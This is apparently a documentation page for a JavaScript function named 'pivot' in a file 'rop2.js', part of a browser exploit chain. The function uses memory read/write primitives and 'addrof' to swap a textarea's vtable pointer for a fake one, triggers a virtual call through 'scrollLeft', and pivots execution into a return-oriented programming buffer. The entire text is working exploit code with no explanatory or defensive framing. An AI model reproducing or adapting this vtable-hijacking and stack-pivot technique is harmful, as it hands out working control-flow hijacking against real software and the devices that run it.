Function pivot

900v2/rop2.js:70–90

(buf)

* jump to `pivot_addr` to return
*/
function pivot(buf)
{
    var ans = malloc(0x400);
    var bak = read_ptr_at(fake_vtable+0x1c8/*0x1d8*/);
    write_ptr_at(fake_vtable+0x1c8/*0x1d8*/, saveall_addr);
    //write_ptr_at(fake_vt_ptr, 1);
    write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
    tarea.scrollLeft = 0;
    write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
    write_mem(ans, read_mem(fake_vt_ptr, 0x400));
    write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
    var bak = read_ptr_at(fake_vtable+0x1c8/*0x1d8*/);
    write_ptr_at(fake_vtable+0x1c8/*0x1d8*/, pivot_addr);
    write_ptr_at(fake_vt_ptr+0x38, buf);
    write_ptr_at(ans+0x38, read_ptr_at(ans+0x38)-16);
    write_ptr_at(buf, ans);
    write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
    tarea.scrollLeft = 0;
    write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
    write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
}